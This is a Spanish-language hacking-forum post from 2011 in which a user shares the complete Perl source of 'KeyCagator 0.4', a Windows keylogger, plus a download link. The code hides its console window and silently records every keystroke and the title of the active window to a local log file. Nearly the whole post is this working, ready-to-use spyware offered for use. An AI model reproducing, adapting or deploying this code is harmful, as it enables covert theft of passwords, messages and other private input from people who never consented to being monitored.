3. [Perl] KeyCagator 0.4
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.
« anterior próximo »
Páginas: [1]   Ir Abajo

[Perl] KeyCagator 0.4

  • 0 Respuestas
  • 885 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] KeyCagator 0.4

« en: Julio 03, 2011, 09:46:58 pm »
Bueno , este es un keylogger en perl que hice con las siguientes opciones

* Captura teclas reconociendo mayusculas y minusculas
* Muestra ventanas en las que se esta trabajando

Pocas opciones pero mejor la version anterior

Código: Perl
  1. #!usr/bin/perl
  2. #KeyCagator 0.4 (C) Doddy Hackman 2010
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText);
  7.  
  8. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  9. my $tengo = 0; 
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console;
  13. Win32::Console::Free();
  14. }
  15.  
  16. while (true) {
  17.  
  18. capture_windows();
  19. capture_keys();
  20.  
  21. }
  22.  
  23. sub capture_windows {
  24.  
  25. my $win1 = GetForegroundWindow();        
  26. my $win2 = GetForegroundWindow();
  27.  
  28. if($win1 != $win2){
  29. my $nombre = GetWindowText($win1);
  30. chomp($nombre);
  31. if ($nombre ne "") {
  32. #print "\n\n[".$nombre."]\n\n";
  33. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  34. }
  35. }
  36.  
  37. }
  38.        
  39. sub capture_keys {
  40.  
  41. my $test1;
  42. my $test2;
  43.  
  44.  
  45. capture_windows();
  46.  
  47. for my $num(0x30..0x39) { #Numbers     
  48.  
  49. capture_windows();
  50.  
  51. if (dame($num)) {
  52. #print "number : ".chr($num)."\n";
  53. savefile("logs.txt",chr($num));
  54. }
  55. }
  56.  
  57. if (dame(0x14)) {
  58. $test1 = 1;
  59. $tengo++;
  60. }
  61.  
  62. for my $num(0x41..0x5A) {       #Words
  63.  
  64.  
  65. capture_windows();
  66.  
  67. if (dame($num)) {
  68.  
  69.  
  70. if (dame(0x0d)) {
  71. savefile("logs.txt","\n\n[enter]\n\n");
  72. }
  73.  
  74. unless (verpar($tengo) eq 1) {
  75. #print "MAYUSCULA : ".chr($num)."\n";
  76. savefile("logs.txt",chr($num));
  77. }
  78.  
  79. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  80. #print "MAYUSCULA : ".chr($num)."\n";
  81. $test2 = 1;
  82. }
  83.  
  84. unless ($test1 eq 1 or $test2 eq 1) {
  85. if ($num >= 0x41) {
  86. if ($num <= 0x5A) {
  87. if (verpar($tengo) eq 1) {
  88. #print "MINUSCULA : ".chr($num+32)."\n";
  89. savefile("logs.txt",chr($num+32));
  90. }
  91. }
  92. }
  93. }
  94. }
  95. }
  96.  
  97. }
  98.  
  99. sub dame {
  100. return($come->Call(@_) & 1);
  101. }
  102.  
  103. sub savefile {
  104. open (SAVE,">>".$_[0]);
  105. print SAVE $_[1];
  106. close SAVE;
  107. }
  108.  
  109. sub verpar{
  110. return ($_[0] % 2 == 0) ? "1" : "2";
  111. }
  112.  
  113.  
  114. #Credits : to explorer for helpme with the function verpar()
  115. #Mail : lepuke[at]hotmail[com]
  116. #Blog : doddy-hackman.blogspot.com
  117. # ¿ The End ?
  118.  

Si lo quieren descargar desde sourceforge

Código: [Seleccionar]
https://sourceforge.net/projects/keycagator/
« Última modificación: Marzo 14, 2015, 10:03:12 am por Expermicid »
En línea
Páginas: [1]   Ir Arriba
« anterior próximo »
 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

 Respuestas: 2
Vistas: 3469 		Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

 Respuestas: 1
Vistas: 1721 		Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

 Respuestas: 0
Vistas: 1472 		Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

 Respuestas: 0
Vistas: 1558 		Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

 Respuestas: 0
Vistas: 1290 		Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear